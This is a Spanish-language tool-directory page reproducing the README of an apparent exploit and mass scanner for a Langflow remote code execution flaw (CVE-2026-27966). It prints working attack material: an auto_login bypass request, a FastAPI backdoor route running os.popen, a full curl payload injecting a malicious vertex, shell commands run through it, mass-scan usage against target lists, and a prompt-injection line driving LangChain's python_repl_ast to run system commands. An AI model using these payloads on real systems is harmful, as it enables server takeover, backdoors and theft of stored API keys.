Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-27966 — Escáner de RCE sin autenticación para Langflow < 1.8.0 — Inyección de ruta + Inyección de vértice → Ejecución de código (CVSS 9.8) | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-27966
ReconocimientoEscáneres de VulnerabilidadesGeneración de PayloadsExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlSeguridad de IA
GitHubshinthink/cve-2026-27966

CVE-2026-27966

Escáner de RCE sin autenticación para Langflow < 1.8.0 — Inyección de ruta + Inyección de vértice → Ejecución de código (CVSS 9.8)

212hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

CVE-2026-27966 — Escáner de Ejecución Remota de Código Langflow

Inyección de Ruta Previo a Autenticación + Inyección de Vértice → Ejecución de Código Python


Descripción general

CVE-2026-27966 es una vulnerabilidad de ejecución remota de código previa a la autenticación de gravedad crítica (CVSS 9.8) en versiones de Langflow anteriores a la 1.8.0. La vulnerabilidad se debe a que allow_dangerous_code=True está codificado en el componente CSV Agent, exponiendo la herramienta python_repl_ast de LangChain a inyección de indicaciones no autenticada.

Además, múltiples endpoints de API carecen de autenticación adecuada, lo que permite la inyección directa de rutas y la inyección de vértices de flujo, incluso en instancias donde el CSV Agent no está configurado.

Versiones Afectadas

Versión de LangflowEstado
< 1.8.0Vulnerable
>= 1.8.0Parcheado

Vectores de Ataque

Este escáner prueba tres rutas de explotación distintas:

1. Inyección de Ruta (bypass de auto_login)

GET  /api/v1/auto_login          → obtén session / API key
POST /api/v1/custom_component    → registra ruta backdoor
GET  /api/{backdoor}?c=command   → RCE

2. Inyección Directa de Ruta (sin clave API)

POST /api/v1/custom_component    → registra ruta backdoor
GET  /api/{backdoor}?c=command   → RCE

3. Inyección de Vértice de Construcción (build sin autenticación)

GET  /api/v1/flows/basic_examples  → extrae UUIDs de flujo (26 expuestos)
POST /api/v1/build/{UUID}/vertices → inyecta vértice malicioso
POST /api/v1/run/{UUID}            → ejecuta código del vértice → RCE

Mecanismo de Vulnerabilidad

Causa Raíz

En src/lfx/src/lfx/components/langchain_utilities/csv_agent.py, el nodo CSV Agent codifica allow_dangerous_code=True, lo que expone automáticamente la herramienta python_repl_ast de LangChain:

agent_kwargs = {
    "verbose": self.verbose,
    "allow_dangerous_code": True,  # hardcoded — cannot be disabled via UI
}
agent_csv = create_csv_agent(..., **agent_kwargs)

Esto permite que cualquier indicación que llegue al CSV Agent ejecute código Python arbitrario mediante:

Action: python_repl_ast
Action Input: __import__("os").system("command")

Superficie API No Autenticada

La API REST de Langflow expone varios endpoints sin autenticación:

EndpointAutenticaciónDatos Expuestos
GET /api/v1/versionNingunaVersión de Langflow
GET /api/v1/healthNingunaEstado de la instancia
GET /api/v1/flows/basic_examples/Ninguna26 UUIDs de flujo de ejemplo + estructura
POST /api/v1/build/{uuid}/verticesNingunaAcepta inyección de código arbitraria
POST /api/v1/users/NingunaCreación de usuario (inactivo)
GET /openapi.jsonNingunaDocumentación completa de la API

Bypass de Autenticación mediante auto_login

En instancias donde auto_login está habilitado (por defecto en muchas implementaciones Docker), un atacante obtiene una sesión y una clave API válidas:

curl -sk 'https://target.com/api/v1/auto_login'
# Devuelve sesión con access_token → acceso completo a la API

Con una clave API válida, el atacante puede usar POST /api/v1/custom_component para registrar una ruta backdoor FastAPI que persiste en memoria hasta que se reinicia el servidor:

from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
    import os
    return os.popen(c).read()
app.include_router(router, prefix="/api")

Por qué CVSS 9.8

MétricaValor
Vector de AtaqueRed (remoto)
Complejidad del AtaqueBaja
Privilegios RequeridosNinguno
Interacción del UsuarioNinguna
AlcanceSin cambios
ConfidencialidadAlta
IntegridadAlta
DisponibilidadAlta

Instalación

git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt

Uso

# Objetivo único
python cve_2026_27966.py -t target.com:7860

# Escaneo masivo
python cve_2026_27966.py -f targets.txt

# Escaneo masivo + guardar resultados
python cve_2026_27966.py -f targets.txt -o rce.txt

# Solo detección (omitir explotación)
python cve_2026_27966.py -f targets.txt --no-exploit

# Salida detallada
python cve_2026_27966.py -f targets.txt -v

Argumentos

  -t, --target      Objetivo único (IP:puerto o dominio)
  -f, --file        Lista de objetivos, uno por línea
  -o, --output      Guardar resultados de RCE en archivo
  --threads         Trabajadores concurrentes (por defecto: 30)
  --no-exploit      Solo detección, omitir intentos de RCE
  -v, --verbose     Mostrar todos los resultados incluyendo objetivos sin RCE

Prueba de Concepto

Detección y Explotación

$ python cve_2026_27966.py -t target.com:7860 -v
  CVE-2026-27966 — Langflow RCE Scanner
  CVSS 9.8 | Pre-Auth | Route Injection → RCE

  Host     : target.com:7860
  Langflow : YES v1.2.0
  Vuln     : YES
  API Key  : NOT REQUIRED
  RCE      : YES
  Output   : uid=0(root) gid=0(root) groups=0(root)
  Time     : 12.3s

Salida de Escaneo Masivo

  CVE-2026-27966 Langflow RCE Scanner
  Targets: 4127 | Threads: 30 | Exploit: ON
  -------------------------------------------------------

  [RCE]  192.168.10.50     v1.2.0    7.3s
         uid=0(root) gid=0(root) groups=0(root)
  [AUTH] target.internal:4433 v1.2.0   14.1s  (API key)
  [500/4127] scanning... (12%)

  -------------------------------------------------------
  Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41
  -------------------------------------------------------

Explotación Manual

Paso 1 — Detectar Langflow

curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}

Paso 2 — Extraer UUIDs de flujo

curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"

Paso 3 — Inyectar vértice backdoor

curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
  -H 'Content-Type: application/json' \
  -d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'

Paso 4 — Ejecutar comando

curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'

Impacto

La explotación exitosa produce ejecución remota de código como root en el contenedor Docker de Langflow. Desde allí, un atacante puede:

  • Extraer claves API de la base de datos SQLite de Langflow (OpenAI, Anthropic, Gemini, etc.)
  • Acceder a bases de datos vectoriales conectadas y servicios externos
  • Implementar puertas traseras persistentes mediante componentes personalizados
  • Pivotar a redes internas
  • Implementar criptomineros o infraestructura C2

Descargo de responsabilidad

Descargar herramienta